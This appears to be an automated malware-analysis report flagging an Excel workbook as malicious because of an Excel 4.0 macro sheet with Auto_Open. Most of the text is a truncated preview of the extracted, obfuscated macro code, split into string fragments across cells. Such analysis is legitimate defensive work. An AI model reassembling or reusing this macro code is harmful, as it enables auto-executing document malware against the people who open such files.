MALICIOUS
122
Risk Score
Heuristics 3
-
Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 27717 bytes |
SHA-256: 680ec0440624b21b9fb15d0ccf0165463f7dc8885635d3c84154e59727bab3a0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{36ED36EE-CEE8-4DF8-9987-6C6DAAF0CF63}"><dimension ref="A49:AI90"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">tMJsuqp=A49</f><v>0</v></c><c r="C50"><v>-4</v></c><c r="D50" t="str"><f>"=C"</f><v>=C</v></c><c r="E50" t="str"><f>"=ON"</f><v>=ON</v></c><c r="F50" t="str"><f>"=HA"</f><v>=HA</v></c><c r="G50" t="str"><f>"ann"</f><v>ann</v></c><c r="H50" t="str"><f>"trou"</f><v>trou</v></c><c r="I50" t="str"><f>"co"</f><v>co</v></c><c r="J50" t="str"><f>"=WHI"</f><v>=WHI</v></c><c r="K50" t="str"><f>"exp"</f><v>exp</v></c><c r="L50" t="str"><f>"tr"</f><v>tr</v></c><c r="M50" t="str"><f>"mixt"</f><v>mixt</v></c><c r="N50" t="str"><f>"=W"</f><v>=W</v></c><c r="O50" t="str"><f>"expe"</f><v>expe</v></c><c r="P50" t="str"><f>"=IND"</f><v>=IND</v></c><c r="Q50" t="str"><f>"=I"</f><v>=I</v></c><c r="R50" t="str"><f>"ex"</f><v>ex</v></c><c r="S50" t="str"><f>"=EL"</f><v>=EL</v></c><c r="T50" t="str"><f>"ref"</f><v>ref</v></c><c r="U50" t="str"><f>"lau"</f><v>lau</v></c><c r="V50" t="str"><f>"an"</f><v>an</v></c><c r="W50" t="str"><f>"mix"</f><v>mix</v></c><c r="X50" t="str"><f>"=END"</f><v>=END</v></c><c r="Y50" t="str"><f>"=NEX"</f><v>=NEX</v></c><c r="Z50" t="str"><f>"=FO"</f><v>=FO</v></c><c r="AA50" t="str"><f>"=N"</f><v>=N</v></c><c r="AB50" t="str"><f>"=R"</f><v>=R</v></c><c r="AC50" t="str"><f>"ab"</f><v>ab</v></c><c r="AD50" t="str"><f>"balt"</f><v>balt</v></c><c r="AE50" t="str"><f>"hero"</f><v>hero</v></c><c r="AF50" t="str"><f>"fra"</f><v>fra</v></c><c r="AG50" t="str"><f>"ma"</f><v>ma</v></c><c r="AH50" t="str"><f>"fr"</f><v>fr</v></c><c r="AI50" t="str"><f>"=ab"</f><v>=ab</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="C51"><v>-764</v></c><c r="D51" t="str"><f>"s79q2e8GS"</f><v>s79q2e8GS</v></c><c r="E51" t="str"><f>"rqxgBz"</f><v>rqxgBz</v></c><c r="F51" t="str"><f>"Qjjq5"</f><v>Qjjq5</v></c><c r="G51" t="str"><f>"Is92C"</f><v>Is92C</v></c><c r="H51" t="str"><f>"zjxuJwOfj"</f><v>zjxuJwOfj</v></c><c r="I51" t="str"><f>"P8YWA6J"</f><v>P8YWA6J</v></c><c r="J51" t="str"><f>"LL7qO"</f><v>LL7qO</v></c><c r="K51" t="str"><f>"Y6hmHnKRd"</f><v>Y6hmHnKRd</v></c><c r="L51" t="str"><f>"OXvLfcsgqp"</f><v>OXvLfcsgqp</v></c><c r="M51" t="str"><f>"PSYRCwVV"</f><v>PSYRCwVV</v></c><c r="N51" t="str"><f>"vpzgil"</f><v>vpzgil</v></c><c r="O51" t="str"><f>"WaJjZc"</f><v>WaJjZc</v></c><c r="P51" t="str"><f>"oUN7Wgt9hR"</f><v>oUN7Wgt9hR</v></c><c r="Q51" t="str"><f>"BVMvH"</f><v>BVMvH</v></c><c r="R51" t="str"><f>"tGKDLe"</f><v>tGKDLe</v></c><c r="S51" t="str"><f>"wkIUh5Q2L"</f><v>wkIUh5Q2L</v></c><c r="T51" t="str"><f>"Ws4jDy7g"</f><v>Ws4jDy7g</v></c><c r="U51" t="str"><f>"ZEfkYs"</f><v>ZEfkYs</v></c><c r="V51" t="str"><f>"mvH7SaoA9l"</f><v>mvH7SaoA9l</v></c><c r="W51" t="str"><f>"VmZ4e"</f><v>VmZ4e</v></c><c r="X51" t="str"><f>"mtUyiQL"</f><v>mtUyiQL</v></c><c r="Y51" t="str"><f>"yXVIkccv"</f><v>yXVIkccv</v></c><c r="Z51" t="str"><f>"kZNFG"</f><v>kZNFG</v></c><c r="AA51" t="str"><f>"mUQcd"</f><v>mUQcd</v></c><c r="AB51" t="str"><f>"AgiLxiDv"</f><v>AgiLxiDv</v></c><c r="AC51" t="str"><f>"RLLWH"</f><v>RLLWH</v></c><c r="AD51" t="str"><f>"auo7F"</f><v>auo7F</v></c><c r="AE51" t="str"><f>"JRjJNyZ"</f><v>JRjJNyZ</v></c><c r="AF51" t="str"><f>"yXAmIa"</f><v>yXAmIa</v></c><c r="AG51" t="str"><f>"KvLpDzi"</f><v>KvLpDzi</v></c><c r="AH51" t="str"><f>"F1ykEeLpu"</f><v>F1ykEeLpu</v></c><c r="AI51" t="str"><f>"KgtcFFWQQK"</f><v>KgtcFFWQQK</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52"><f>MAX(-283,665)</f><v>665</v></c><c r="C52"><v>-713</v></c><c r="D52" t="str"><f>"ALL"</f><v>ALL</v></c><c r="E52" t="str"><f>".TI"</f><v>.TI</v></c><c r="F52" t="str"><f>"LT("</f><v>LT(</v></c><c r="G52" t="str"><f>"ex="</f><v>ex=</v></c><c r="H52" t="str"><f>"t=0"</f><v>t=0</v></c><c r="I52" t="str"><f>"oki"</f><v>oki</v></c><c r="J52" t="str"><f>"LE(t"</f><v>LE(t</v></c><c r="K52" t="str"><f>"ect"</f><v>ect</v></c><c r="L52" t="str"><f>"ou"</f><v>ou</v></c><c r="M52" t="str"><f>"ure"</f><v>ure</v></c><c r="N52" t="str"><f>"HI"</f><v>HI</v></c><c r="O52" t="str"><f>"ct"</f><v>ct</v></c><c r="P52" t="str"><f>"IR"</f><v>IR</v></c><c r="Q52" t="str"><f>"F(R"</f><v>F(R</v></c><c r="R52" t="str"><f>"pec"</f><v>pec</v></c><c r="S52" t="str"><f>"SE()"</f><v>SE()</v></c><c r="T52" t="str"><f>"erri"</f><v>erri</v></c><c r="U52" t="str"><f>"gh"</f><v>gh</v></c><c r="V52" t="str"><f>"ne"</f><v>ne</v></c><c r="W52" t="str"><f>"ture"</f><v>ture</v></c><c r="X52" t="str"><f>".IF"</f><v>.IF</v></c><c r="Y52" t="str"><f>"T("</f><v>T(</v></c><c r="Z52" t="str"><f>"RM"</f><v>RM</v></c><c r="AA52" t="str"><f>"EXT"</f><v>EXT</v></c><c r="AB52" t="str"><f>"ETU"</f><v>ETU</v></c><c r="AC52" t="str"><f>"sent"</f><v>sent</v></c><c r="AD52" t="str"><f>"imo"</f><v>imo</v></c><c r="AE52" t="str"><f>"es="</f><v>es=</v></c><c r="AF52" t="str"><f>"nchi"</f><v>nchi</v></c><c r="AG52" t="str"><f>"inta"</f><v>inta</v></c><c r="AH52" t="str"><f>"on"</f><v>on</v></c><c r="AI52" t="str"><f>"sent"</f><v>sent</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="C53"><v>-272</v></c><c r="D53" t="str"><f>"FDTdhu91T"</f><v>FDTdhu91T</v></c><c r="E53" t="str"><f>"PSIQBU8"</f><v>PSIQBU8</v></c><c r="F53" t="str"><f>"Fxg1Td"</f><v>Fxg1Td</v></c><c r="G53" t="str"><f>"HJr6JBl"</f><v>HJr6JBl</v></c><c r="H53" t="str"><f>"KKdOLOB"</f><v>KKdOLOB</v></c><c r="I53" t="str"><f>"FO7wri"</f><v>FO7wri</v></c><c r="J53" t="str"><f>"NDje8p"</f><v>NDje8p</v></c><c r="K53" t="str"><f>"Ux44E"</f><v>Ux44E</v></c><c r="L53" t="str"><f>"RW8Vzd"</f><v>RW8Vzd</v></c><c r="M53" t="str"><f>"Y5FJlb2J"</f><v>Y5FJlb2J</v></c><c r="N53" t="str"><f>"X3jAyhAb"</f><v>X3jAyhAb</v></c><c r="O53" t="str"><f>"DLYMXme"</f><v>DLYMXme</v></c><c r="P53" t="str"><f>"VSfHBa3Wu"</f><v>VSfHBa3Wu</v></c><c r="Q53" t="str"><f>"nIF2mm1gU"</f><v>nIF2mm1gU</v></c><c r="R53" t="str"><f>"zZC5q4SBJ"</f><v>zZC5q4SBJ</v></c><c r="S53" t="str"><f>"uOx6SyrxV"</f><v>uOx6SyrxV</v></c><c r="T53" t="str"><f>"Zt7Ca2P7pa"</f><v>Zt7Ca2P7pa</v></c><c r="U53" t="str"><f>"w1LtfOR"</f><v>w1LtfOR</v></c><c r="V53" t="str"><f>"grTK7"</f><v>grTK7</v></c><c r="W53" t="str"><f>"MhKKYCmqB"</f><v>MhKKYCmqB</v></c><c r="X53" t="str"><f>"oaBHvRRi"</f><v>oaBHvRRi</v></c><c r="Y53" t="str"><f>"WiikxwwyaY"</f><v>WiikxwwyaY</v></c><c r="Z53" t="str"><f>"rLrssqWD4"</f><v>rLrssqWD4</v></c><c r="AA53" t="str"><f>"xJJ3m10qX"</f><v>xJJ3m10qX</v></c><c r="AB53" t="str"><f>"sTxYrz"</f><v>sTxYrz</v></c><c r="AC53" t="str"><f>"NVgspefU0Z"</f><v>NVgspefU0Z</v></c><c r="AD53" t="str"><f>"csGcY"</f><v>csGcY</v></c><c r="AE53" t="str"><f>"dpyQWPFLo"</f><v>dpyQWPFLo</v></c><c r="AF53" t="str"><f>"iyPRQPa"</f><v>iyPRQPa</v></c><c r="AG53" t="str"><f>"y3JS6fD"</f><v>y3JS6fD</v></c><c r="AH53" t="str"><f>"CGi1ZM9a7"</f><v>CGi1ZM9a7</v></c><c r="AI53" t="str"><f>"NjoZ5k"</f><v>NjoZ5k</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="A54" t="b"><f>WHILE(AND(tMJsuqp<32))</f><v>0</v></c><c r="C54"><v>-531</v></c><c r="D54" t="str"><f>"(""X"</f><v>("X</v></c><c r="E54" t="str"><f>"ME(N"</f><v>ME(N</v></c><c r="F54" t="str"><f>")"</f><v>)</v></c><c r="G54" t="str"><f>"0"</f><v>0</v></c><c r="H54" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="I54" t="str"><f>"ng"</f><v>ng</v></c><c r="J54" t="str"><f>"ro"</f><v>ro</v></c><c r="K54" t="str"><f>"ed"</f><v>ed</v></c><c r="L54" t="str"><f>"t=tr"</f><v>t=tr</v></c><c r="M54" t="str"><f>"="""</f><v>="</v></c><c r="N54" t="str"><f>"LE("</f><v>LE(</v></c><c r="O54" t="str"><f>"ed="</f><v>ed=</v></c><c r="P54" t="str"><f>"ECT("</f><v>ECT(</v></c><c r="Q54" t="str"><f>"94C1"</f><v>94C1</v></c><c r="R54" t="str"><f>"ted"</f><v>ted</v></c><c r="S54" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="T54" t="str"><f>"ng=M"</f><v>ng=M</v></c><c r="U54" t="str"><f>"=IN"</f><v>=IN</v></c><c r="V54" t="str"><f>"x=an"</f><v>x=an</v></c><c r="W54" t="str"><f>"=mix"</f><v>=mix</v></c><c r="X54" t="str"><f>"()"</f><v>()</v></c><c r="Y54" t="str"><f>")"</f><v>)</v></c><c r="Z54" t="str"><f>"UL"</f><v>UL</v></c><c r="AA54" t="str"><f>"()"</f><v>()</v></c><c r="AB54" t="str"><f>"RN()"</f><v>RN()</v></c><c r="AC54" t="str"><f>"=R8"</f><v>=R8</v></c><c r="AD54" t="str"><f>"re=5"</f><v>re=5</v></c><c r="AE54" t="str"><f>"1"</f><v>1</v></c><c r="AF54" t="str"><f>"se="</f><v>se=</v></c><c r="AG54" t="str"><f>"ins="</f><v>ins=</v></c><c r="AH54" t="str"><f>"tie"</f><v>tie</v></c><c r="AI54" t="str"><f>"()"</f><v>()</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="C55"><v>-270</v></c><c r="D55" t="str"><f>"dk5vdb0hy"</f><v>dk5vdb0hy</v></c><c r="E55" t="str"><f>"bVTV9HSQ"</f><v>bVTV9HSQ</v></c><c r="F55" t="str"><f>"v1RODV2Q3"</f><v>v1RODV2Q3</v></c><c r="G55" t="str"><f>"GE60Oq"</f><v>GE60Oq</v></c><c r="I55" t="str"><f>"jWqOHVdx"</f><v>jWqOHVdx</v></c><c r="J55" t="str"><f>"syXFF"</f><v>syXFF</v></c><c r="K55" t="str"><f>"O70yCTWN"</f><v>O70yCTWN</v></c><c r="L55" t="str"><f>"PMKcGT6gK"</f><v>PMKcGT6gK</v></c><c r="M55" t="str"><f>"BqxQFF5St"</f><v>BqxQFF5St</v></c><c r="N55" t="str"><f>"KmLED1"</f><v>KmLED1</v></c><c r="O55" t="str"><f>"s4hXc"</f><v>s4hXc</v></c><c r="P55" t="str"><f>"YdHPQ1"</f><v>YdHPQ1</v></c><c r="Q55" t="str"><f>"ZPWw1"</f><v>ZPWw1</v></c><c r="R55" t="str"><f>"iP8Oec"</f><v>iP8Oec</v></c><c r="T55" t="str"><f>"Tnd3m"</f><v>Tnd3m</v></c><c r="U55" t="str"><f>"UhdKoSWh0"</f><v>UhdKoSWh0</v></c><c r="V55" t="str"><f>"oA5Iews"</f><v>oA5Iews</v></c><c r="W55" t="str"><f>"ti4GItO"</f><v>ti4GItO</v></c><c r="X55" t="str"><f>"W3S80o"</f><v>W3S80o</v></c><c r="Y55" t="str"><f>"sa1Lk"</f><v>sa1Lk</v></c><c r="Z55" t="str"><f>"lo8ebzJ"</f><v>lo8ebzJ</v></c><c r="AA55" t="str"><f>"GDa1ATCl"</f><v>GDa1ATCl</v></c><c r="AB55" t="str"><f>"GYZTb"</f><v>GYZTb</v></c><c r="AC55" t="str"><f>"wmgbOZM5"</f><v>wmgbOZM5</v></c><c r="AD55" t="str"><f>"m3TK1SNIs"</f><v>m3TK1SNIs</v></c><c r="AE55" t="str"><f>"kFS51i9"</f><v>kFS51i9</v></c><c r="AF55" t="str"><f>"kRRsHbHjV"</f><v>kRRsHbHjV</v></c><c r="AG55" t="str"><f>"gLE2MCcH69"</f><v>gLE2MCcH69</v></c><c r="AH55" t="str"><f>"DeHq3E"</f><v>DeHq3E</v></c><c r="AI55" t="str"><f>"LtXmFN"</f><v>LtXmFN</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="C56"><v>591</v></c><c r="D56" t="str"><f>"lcal"</f><v>lcal</v></c><c r="E56" t="str"><f>"OW()"</f><v>OW()</v></c><c r="F56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="G56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="I56" t="str"><f>"=R"</f><v>=R</v></c><c r="J56" t="str"><f>"ut<"</f><v>ut<</v></c><c r="K56" t="str"><f>"=-1"</f><v>=-1</v></c><c r="L56" t="str"><f>"ou"</f><v>ou</v></c><c r="M56" t="str"><f>""""</f><v>"</v></c><c r="N56" t="str"><f>"expe"</f><v>expe</v></c><c r="O56" t="str"><f>"expe"</f><v>expe</v></c><c r="P56" t="str"><f>"ADDR"</f><v>ADDR</v></c><c r="Q56" t="str"><f>">1"</f><v>>1</v></c><c r="R56" t="str"><f>"=500"</f><v>=500</v></c><c r="T56" t="str"><f>"OD("</f><v>OD(</v></c><c r="U56" t="str"><f>"DEX("</f><v>DEX(</v></c><c r="V56" t="str"><f>"nex+"</f><v>nex+</v></c><c r="W56" t="str"><f>"tur"</f><v>tur</v></c><c r="X56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="Y56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="Z56" t="str"><f>"A(m"</f><v>A(m</v></c><c r="AA56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AB56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AC56" t="str"><f>"5C1"</f><v>5C1</v></c><c r="AD56" t="str"><f>"0"</f><v>0</v></c><c r="AE56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AF56" t="str"><f>"R50"</f><v>R50</v></c><c r="AG56" t="str"><f>"17"</f><v>17</v></c><c r="AH56" t="str"><f>"r="</f><v>r=</v></c><c r="AI56" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c></row><row r="57" spans="1:35" x14ac:dyDescent="0.25"><c r="C57"><v>-333</v></c><c r="D57" t="str"><f>"QM01ir"</f><v>QM01ir</v></c><c r="E57" t="str"><f>"vKYMDAosx"</f><v>vKYMDAosx</v></c><c r="I57" t="str"><f>"LQmlYjW"</f><v>LQmlYjW</v></c><c r="J57" t="str"><f>"cVn5faSj7I"</f><v>cVn5faSj7I</v></c><c r="K57" t="str"><f>"jCq9V8jB"</f><v>jCq9V8jB</v></c><c r="L57" t="str"><f>"dfc56Hpu8"</f><v>dfc56Hpu8</v></c><c r="M57" t="str"><f>"sbrnp"</f><v>sbrnp</v></c><c r="N57" t="str"><f>"i4yR2K"</f><v>i4yR2K</v></c><c r="O57" t="str"><f>"bzUrOew"</f><v>bzUrOew</v></c><c r="P57" t="str"><f>"JgeJ0B"</f><v>JgeJ0B</v></c><c r="Q57" t="str"><f>"IQBk19"</f><v>IQBk19</v></c><c r="R57" t="str"><f>"rUeDZjFAqh"</f><v>rUeDZjFAqh</v></c><c r="T57" t="str"><f>"uov7K5sL"</f><v>uov7K5sL</v></c><c r="U57" t="str"><f>"N25wsQxCG"</f><v>N25wsQxCG</v></c><c r="V57" t="str"><f>"MqDEBRyx"</f><v>MqDEBRyx</v></c><c r="W57" t="str"><f>"wui6b"</f><v>wui6b</v></c><c r="Z57" t="str"><f>"ovQH4v"</f><v>ovQH4v</v></c><c r="AC57" t="str"><f>"SC3ExV"</f><v>SC3ExV</v></c><c r="AD57" t="str"><f>"vaprot"</f><v>vaprot</v></c><c r="AF57" t="str"><f>"bKO0s8BqHX"</f><v>bKO0s8BqHX</v></c><c r="AG57" t="str"><f>"pfj3J9"</f><v>pfj3J9</v></c><c r="AH57" t="str"><f>"hzJHfqhMK"</f><v>hzJHfqhMK</v></c></row><row r="58" spans="1:35" x14ac:dyDescent="0.25"><c r="A58" t="b"><f bx="1">xMkaRtcj=-2</f><v>0</v></c><c r="C58"><v>672</v></c><c r="D58" t="str"><f>"l32"</f><v>l32</v></c><c r="E58" t="str"><f>"+"""</f><v>+"</v></c><c r="I58" t="str"><f>"OWS("</f><v>OWS(</v></c><c r="J58" t="str"><f>"main"</f><v>main</v></c><c r="K58" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="L58" t="str"><f>"t+1"</f><v>t+1</v></c><c r="M58" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="N58" t="str"><f>"cted"</f><v>cted</v></c><c r="O58" t="str"><f>"ct"</f><v>ct</v></c><c r="P58" t="str"><f>"ESS("</f><v>ESS(</v></c><c r="Q58" t="str"><f>"000"</f><v>000</v></c><c r="R58" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="T58" t="str"><f>"anne"</f><v>anne</v></c><c r="U58" t="str"><f>"fran"</f><v>fran</v></c><c r="V58" t="str"><f>"1"</f><v>1</v></c><c r="W58" t="str"><f>"e&CH"</f><v>e&CH</v></c><c r="Z58" t="str"><f>"ixt"</f><v>ixt</v></c><c r="AC58" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AD58" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AF58" t="str"><f>"C3:"</f><v>C3:</v></c><c r="AG58" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AH58" t="str"><f>"R11"</f><v>R11</v></c></row><row r="59" spans="1:35" x14ac:dyDescent="0.25"><c r="C59"><v>-284</v></c><c r="D59" t="str"><f>"HhAFubB5"</f><v>HhAFubB5</v></c><c r="E59" t="str"><f>"QL1Af"</f><v>QL1Af</v></c><c r="I59" t="str"><f>"HEX894d9Gj"</f><v>HEX894d9Gj</v></c><c r="J59" t="str"><f>"aXewtDf"</f><v>aXewtDf</v></c><c r="L59" t="str"><f>"cH3Qoa"</f><v>cH3Qoa</v></c><c r="N59" t="str"><f>"OE1uX1r"</f><v>OE1uX1r</v></c><c r="O59" t="str"><f>"eJoPSMp11"</f><v>eJoPSMp11</v></c><c r="P59" t="str"><f>"f7zX3"</f><v>f7zX3</v></c><c r="Q59" t="str"><f>"yqKa9RK"</f><v>yqKa9RK</v></c><c r="T59" t="str"><f>"luRA2"</f><v>luRA2</v></c><c r="U59" t="str"><f>"NvndouFP"</f><v>NvndouFP</v></c><c r="V59" t="str"><f>"ZSjBI6lIi"</f><v>ZSjBI6lIi</v></c><c r="W59" t="str"><f>"hDhwjGy7"</f><v>hDhwjGy7</v></c><c r="Z59" t="str"><f>"aVZELNMQ3"</f><v>aVZELNMQ3</v></c><c r="AF59" t="str"><f>"FI1JqF6"</f><v>FI1JqF6</v></c><c r="AH59" t="str"><f>"WJhHEqRx"</f><v>WJhHEqRx</v></c></row><row r="60" spans="1:35" x14ac:dyDescent="0.25"><c r="A60"><f>MAX(-114,741)</f><v>741</v></c><c r="D60" t="str"><f>""",""E"</f><v>","E</v></c><c r="E60" t="str"><f>"00:0"</f><v>00:0</v></c><c r="I60" t="str"><f>"fra"</f><v>fra</v></c><c r="J60" t="str"><f>"ta"</f><v>ta</v></c><c r="L60" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="N60" t="str"><f>"<500"</f><v><500</v></c><c r="O60" t="str"><f>"ed"</f><v>ed</v></c><c r="P60" t="str"><f>"ex"</f><v>ex</v></c><c r="Q60" t="str"><f>")"</f><v>)</v></c><c r="T60" t="str"><f>"x,"</f><v>x,</v></c><c r="U60" t="str"><f>"ch"</f><v>ch</v></c><c r="V60" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="W60" t="str"><f>"AR"</f><v>AR</v></c><c r="Z60" t="str"><f>"ur"</f><v>ur</v></c><c r="AF60" t="str"><f>"R59"</f><v>R59</v></c><c r="AH60" t="str"><f>"4C"</f><v>4C</v></c></row><row r="61" spans="1:35" x14ac:dyDescent="0.25"><c r="A61" t="b"><f bx="1">tMJsuqp=tMJsuqp+1</f><v>0</v></c><c r="D61" t="str"><f>"BN3sCunqx"</f><v>BN3sCunqx</v></c><c r="E61" t="str"><f>"JJURS"</f><v>JJURS</v></c><c r="I61" t="str"><f>"Vet0E9G2w"</f><v>Vet0E9G2w</v></c><c r="J61" t="str"><f>"NkJtD"</f><v>NkJtD</v></c><c r="N61" t="str"><f>"qyfR9YpT8"</f><v>qyfR9YpT8</v></c><c r="O61" t="str"><f>"ThQYP4bNv"</f><v>ThQYP4bNv</v></c><c r="P61" t="str"><f>"ZR5f0A"</f><v>ZR5f0A</v></c><c r="Q61" t="str"><f>"DYinQ"</f><v>DYinQ</v></c><c r="T61" t="str"><f>"SdLbgE"</f><v>SdLbgE</v></c><c r="U61" t="str"><f>"KXmMtLFRZ"</f><v>KXmMtLFRZ</v></c><c r="W61" t="str"><f>"hi7BOyuuZ"</f><v>hi7BOyuuZ</v></c><c r="Z61" t="str"><f>"fkAAsEIi1"</f><v>fkAAsEIi1</v></c><c r="AF61" t="str"><f>"JAuQkltnXe"</f><v>JAuQkltnXe</v></c><c r="AH61" t="str"><f>"G70aJp5h8z"</f><v>G70aJp5h8z</v></c></row><row r="62" spans="1:35" x14ac:dyDescent="0.25"><c r="D62" t="str"><f>"xc"</f><v>xc</v></c><c r="E62" t="str"><f>"0:"</f><v>0:</v></c><c r="I62" t="str"><f>"nch"</f><v>nch</v></c><c r="J62" t="str"><f>"in"</f><v>in</v></c><c r="N62" t="str"><f>")"</f><v>)</v></c><c r="O62" t="str"><f>"+1"</f><v>+1</v></c><c r="P62" t="str"><f>"pec"</f><v>pec</v></c><c r="Q62" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="T62" t="str"><f>"coo"</f><v>coo</v></c><c r="U62" t="str"><f>"ise"</f><v>ise</v></c><c r="W62" t="str"><f>"(R"</f><v>(R</v></c><c r="Z62" t="str"><f>"e,"</f><v>e,</v></c><c r="AF62" t="str"><f>"C3"</f><v>C3</v></c><c r="AH62" t="str"><f>"1"</f><v>1</v></c></row><row r="63" spans="1:35" x14ac:dyDescent="0.25"><c r="A63" t="b"><f bx="1">DSjut=""</f><v>0</v></c><c r="D63" t="str"><f>"Xhyosb"</f><v>Xhyosb</v></c><c r="E63" t="str"><f>"ploWuUYqbs"</f><v>ploWuUYqbs</v></c><c r="I63" t="str"><f>"UTXUxoez"</f><v>UTXUxoez</v></c><c r="J63" t="str"><f>"yIIwW"</f><v>yIIwW</v></c><c r="N63" t="str"><f>"aRDHw5"</f><v>aRDHw5</v></c><c r="O63" t="str"><f>"hrIS2y"</f><v>hrIS2y</v></c><c r="P63" t="str"><f>"SL5BJs4T"</f><v>SL5BJs4T</v></c><c r="T63" t="str"><f>"WuNTxln5mj"</f><v>WuNTxln5mj</v></c><c r="U63" t="str"><f>"NCnAzdy"</f><v>NCnAzdy</v></c><c r="W63" t="str"><f>"IRVnu9ux"</f><v>IRVnu9ux</v></c><c r="Z63" t="str"><f>"dAOWoiQw"</f><v>dAOWoiQw</v></c><c r="AF63" t="str"><f>"BY1C2GR"</f><v>BY1C2GR</v></c><c r="AH63" t="str"><f>"Y1rKkAfmX"</f><v>Y1rKkAfmX</v></c></row><row r="64" spans="1:35" x14ac:dyDescent="0.25"><c r="A64"><f>COUNTBLANK($I$55:$J$60)</f><v>12</v></c><c r="D64" t="str"><f>"el4"</f><v>el4</v></c><c r="E64" t="str"><f>"01"</f><v>01</v></c><c r="I64" t="str"><f>"ise"</f><v>ise</v></c><c r="J64" t="str"><f>"s)"</f><v>s)</v></c><c r="N64" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="O64" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="P64" t="str"><f>"ted+"</f><v>ted+</v></c><c r="T64" t="str"><f>"king"</f><v>king</v></c><c r="U64" t="str"><f>",r"</f><v>,r</v></c><c r="W64" t="str"><f>"94C"</f><v>94C</v></c><c r="Z64" t="str"><f>"AB"</f><v>AB</v></c><c r="AF64" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="AH64" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c></row><row r="65" spans="1:26" x14ac:dyDescent="0.25"><c r="A65" t="b"><f>WHILE(xMkaRtcj<101)</f><v>0</v></c><c r="D65" t="str"><f>"Mgd6pSD"</f><v>Mgd6pSD</v></c><c r="E65" t="str"><f>"VblHkYD1Ox"</f><v>VblHkYD1Ox</v></c><c r="I65" t="str"><f>"vEGRF"</f><v>vEGRF</v></c><c r="J65" t="str"><f>"TBY5WoaAX"</f><v>TBY5WoaAX</v></c><c r="P65" 